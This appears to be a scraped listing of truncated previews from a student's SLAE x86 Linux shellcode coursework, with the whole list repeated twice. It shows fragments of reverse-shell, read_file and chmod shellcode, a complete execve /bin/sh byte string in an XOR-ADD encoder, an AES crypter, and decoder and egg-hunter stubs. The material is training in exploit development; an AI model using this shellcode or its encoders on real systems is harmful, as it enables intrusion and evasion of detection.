Spirited Wolf spiritedwolf

## encrypt_aes.py
#!/usr/bin/python3

# Author: Shubham Singh
# Student ID: SLAE - 1342
from Crypto.Cipher import AES
from Crypto import Random
import base64,sys,binascii,os,getopt
# Argument List
argumentList = sys.argv[1:]
# Options

## polymorphism_3.nasm
;SLAE-1342
;Original shellcode:- http://shell-storm.org/shellcode/files/shellcode-758.php
global _start

section .text

_start:
	xor ecx,ecx			;Anything xor with itself would result zero
	mul ecx				;The classic use of mul instruction. Now the eax:edx will become 0
	push edx			;push nulls on stack

## polymorphism_2.nasm
;SLAE-1342
;Original shellcode:- http://shell-storm.org/shellcode/files/shellcode-542.php

global _start

section .text

_start:
	jmp short ok		;jump to ok
okk:

## shellcode_reverse_rcp.c
/*
# Title: linux/x86/shell_reverse_tcp (Metasploit)
# Tested on: x86 GNU/Linux
#Student ID: SLAE - 1342
*/
#include<stdio.h>
#include<string.h>

unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"

## shellcode_read_file.c
/*
# Title: linux/x86/read_file Shellcode (Metasploit)
# Tested on: x86 GNU/Linux
#Student ID: SLAE - 1342
*/
#include<stdio.h>
#include<string.h>

unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"

## shellcode_chmod.c
/*
# Title: linux/x86/chmod Shellcode (Metasploit)
# Tested on: x86 GNU/Linux
#Student ID: SLAE - 1342
*/

#include<stdio.h>
#include<string.h>

unsigned char buf[] =

## encoding_scheme.py
#Simple XOR-ADD encoder
#SLAE - 1342
import sys
import binascii

a = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
b = bytes(a)
e = ""
e1 = ""
for x in bytearray(b):

## decode-shellcode.nasm
;	Author: Shubham Singh
;	SLAE - 1342
;	Assignment 2: Custom Encoding Scheme Decoder Shellcode / Linux x86
global _start

section .text
_start:
	;Classic usage of JMP-CALL-POP Technique
	jmp short call_shellcode	;Take a short jump to call_shellcode

## slae-assignment3.c
/*
# Title: Linux/x86 - EggHunter + Null-Free Shellcode (33 Bytes)
# Author: Shubham Singh
# Tested on: x86 GNU/Linux
# Shellcode Length: 33 Bytes
#Student ID: SLAE - 1342

#Description: Null-Free Egg Hunter Shellcode - 33 Bytes
#file format elf32-i386

## slae-assignment2.nasm
;	Author: Shubham Singh
;	SLAE - 1342
;	Assignment 2: Shell Reverse TCP Shellcode / Linux x86 (83 Bytes)

global _start

section .text
_start:
	;socket(AF_INET, SOCK_STREAM, 0)
	;socket(2,1,0)
	#!/usr/bin/python3

	# Author: Shubham Singh
	# Student ID: SLAE - 1342
	from Crypto.Cipher import AES
	from Crypto import Random
	import base64,sys,binascii,os,getopt
	# Argument List
	argumentList = sys.argv[1:]
	# Options
	;SLAE-1342
	;Original shellcode:- http://shell-storm.org/shellcode/files/shellcode-758.php
	global _start

	section .text

	_start:
	xor ecx,ecx ;Anything xor with itself would result zero
	mul ecx ;The classic use of mul instruction. Now the eax:edx will become 0
	push edx ;push nulls on stack
	/*
	# Title: linux/x86/shell_reverse_tcp (Metasploit)
	# Tested on: x86 GNU/Linux
	#Student ID: SLAE - 1342
	*/
	#include<stdio.h>
	#include<string.h>

	unsigned char buf[] =
	"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
	/*
	# Title: linux/x86/read_file Shellcode (Metasploit)
	# Tested on: x86 GNU/Linux
	#Student ID: SLAE - 1342
	*/
	#include<stdio.h>
	#include<string.h>

	unsigned char buf[] =
	"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
	/*
	# Title: linux/x86/chmod Shellcode (Metasploit)
	# Tested on: x86 GNU/Linux
	#Student ID: SLAE - 1342
	*/

	#include<stdio.h>
	#include<string.h>

	unsigned char buf[] =
	#Simple XOR-ADD encoder
	#SLAE - 1342
	import sys
	import binascii

	a = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
	b = bytes(a)
	e = ""
	e1 = ""
	for x in bytearray(b):
	; Author: Shubham Singh
	; SLAE - 1342
	; Assignment 2: Custom Encoding Scheme Decoder Shellcode / Linux x86
	global _start

	section .text
	_start:
	;Classic usage of JMP-CALL-POP Technique
	jmp short call_shellcode ;Take a short jump to call_shellcode
	/*
	# Title: Linux/x86 - EggHunter + Null-Free Shellcode (33 Bytes)
	# Author: Shubham Singh
	# Tested on: x86 GNU/Linux
	# Shellcode Length: 33 Bytes
	#Student ID: SLAE - 1342

	#Description: Null-Free Egg Hunter Shellcode - 33 Bytes
	#file format elf32-i386
	; Author: Shubham Singh
	; SLAE - 1342
	; Assignment 2: Shell Reverse TCP Shellcode / Linux x86 (83 Bytes)

	global _start

	section .text
	_start:
	;socket(AF_INET, SOCK_STREAM, 0)
	;socket(2,1,0)